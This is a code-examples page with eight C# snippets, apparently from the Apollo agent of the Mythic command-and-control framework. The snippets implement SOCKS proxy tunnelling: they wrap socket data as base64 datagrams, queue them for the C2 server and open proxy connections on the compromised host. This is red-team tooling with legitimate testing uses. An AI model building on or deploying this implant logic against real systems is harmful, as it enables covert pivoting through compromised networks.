Ejemplo n.º 1
0
            public bool SendSocksDatagram(SocksDatagram datagram)
            {
                bool bRet = false;

                try // Try block for HTTP requests
                {
                    // Encrypt json to send to server
                    string msgId = $"{datagram.server_id}-{Guid.NewGuid().ToString()}";
                    Mythic.Structs.TaskResponse apfellResponse = new Mythic.Structs.TaskResponse
                    {
                        action     = "post_response",
                        responses  = new Apollo.Tasks.ApolloTaskResponse[] { },
                        delegates  = new Dictionary <string, string>[] { },
                        socks      = new SocksDatagram[] { datagram },
                        message_id = msgId
                    };
                    string json = JsonConvert.SerializeObject(apfellResponse);
                    if (Send(msgId, json))
                    {
                        string result = (string)Inbox.GetMessage(msgId);
                        bRet = true;
                        //if (result.Contains("success"))
                        //    // If it was successful, return the result
                        //    bRet = true;
                    }
                    //Debug.WriteLine($"[-] PostResponse - Got response for task {taskresp.task}: {result}");
                    //throw (new Exception($"POST Task Response {taskresp.task} Failed"));
                }
                catch (Exception e) // Catch exceptions from HTTP request or retry exceeded
                {
                    bRet = false;
                }
                return(bRet);
            }
Ejemplo n.º 2
0
        private static void DispatchDatagram(object dg)
        {
            SocksDatagram curMsg = (SocksDatagram)dg;

            byte[] data;
            try
            {
                data = Convert.FromBase64String(curMsg.data);
            }
            catch (Exception ex)
            {
                //DebugWriteLine($"Error decoding data: {ex.Message}");
                return;
            }
            ProxyConnection conn = GetProxyConnection(curMsg.server_id);

            if (conn == null)
            {
                if (curMsg.data != "LTE=")
                {
                    CreateNewProxyConnection(curMsg.server_id, data);
                }
            }
            else
            {
                conn.EnqueueRequestData(data);
            }
        }
Ejemplo n.º 3
0
        public static void SendDisconnect(int serverID)
        {
            var msg = new SocksDatagram()
            {
                server_id = serverID,
                data      = Convert.ToBase64String(DisconnectMessageBytes)
            };

            AddMythicMessageToQueue(msg);
        }
Ejemplo n.º 4
0
        public static void SendError(int serverID, SocksError resp = SocksError.HostUnreachable)
        {
            byte[] bytesToSend = CreateFormattedMessage(resp, new Structs.AddrSpec()
            {
                FQDN = "", IP = null, Port = -1
            });
            var msg = new SocksDatagram()
            {
                server_id = serverID,
                data      = Convert.ToBase64String(bytesToSend)
            };

            AddMythicMessageToQueue(msg);
        }
Ejemplo n.º 5
0
        private static SocksDatagram CreateFormattedMessageWithLength(SocksError resp, ProxyConnection conn)
        {
            byte[] bytesToSend = CreateFormattedMessage(resp, conn.Bind);
            var    msg         = new SocksDatagram()
            {
                server_id = conn.ServerID,
                data      = Convert.ToBase64String(bytesToSend)
            };

            //string jsonMsg = JsonConvert.SerializeObject(msg);
            //byte[] jsonBytes = ASCIIEncoding.ASCII.GetBytes(jsonMsg);
            //byte[] length = BitConverter.GetBytes(jsonBytes.Length);
            //if (BitConverter.IsLittleEndian)
            //    Array.Reverse(length);
            //byte[] finalMsg = new byte[jsonBytes.Length + 4];
            //Array.Copy(length, finalMsg, length.Length);
            //Array.Copy(jsonBytes, 0, finalMsg, 4, jsonBytes.Length);
            return(msg);
        }
Ejemplo n.º 6
0
        private void ReadFromProxy()
        {
            ClientConnection.ReceiveTimeout = 10000;
            while (!exited)
            {
                byte[] bufIn     = new byte[MESSAGE_SIZE];
                int    totalRead = 0;
                try
                {
                    ////DebugWriteLine($"Attempting to read data from {IPAddress}");

                    totalRead = ClientConnection.Receive(bufIn);
                }
                catch (SocketException ex)
                {
                    //ExitEvent.Set();
                    DebugWriteLine($"{IPAddress} ({ServerID}) error while reading from socket: {ex.Message} ({ex.SocketErrorCode}).");
                    break;
                }
                catch (Exception ex)
                {
                    //ExitEvent.Set();
                    DebugWriteLine($"{IPAddress} ({ServerID}) Unhandled exception while reading from socket: {ex.Message}");
                    //SocksController.SendDisconnectRemoveConnection(this);
                    break;
                }
                //Console.WriteLine($"Read {totalRead} bytes from {conn.ServerID}");
                if (totalRead > 0)
                {
                    byte[] dataToSend = new byte[totalRead];
                    //DebugWriteLine($"{IPAddress} ({ServerID}) Beginning data copy into new array...");
                    Array.Copy(bufIn, dataToSend, totalRead);
                    //DebugWriteLine($"{IPAddress} ({ServerID}) Finished copying data into new array.");
                    SocksDatagram msg = new SocksDatagram()
                    {
                        server_id = ServerID,
                        data      = Convert.ToBase64String(dataToSend),
                    };
                    SocksController.AddMythicMessageToQueue(msg);
                }
            }
            Close();
        }
Ejemplo n.º 7
0
 public static void AddDatagramToQueue(SocksDatagram dg)
 {
     syncMythicServerDatagramQueue.Enqueue(dg);
 }
Ejemplo n.º 8
0
 // Function responsible for adding messages to send to
 // the mythic server.
 public static void AddMythicMessageToQueue(SocksDatagram msg)
 {
     syncSendToMythicQueue.Enqueue(msg);
     ////DebugWriteLine("Releasing sendToMythicQueueMutex.");
 }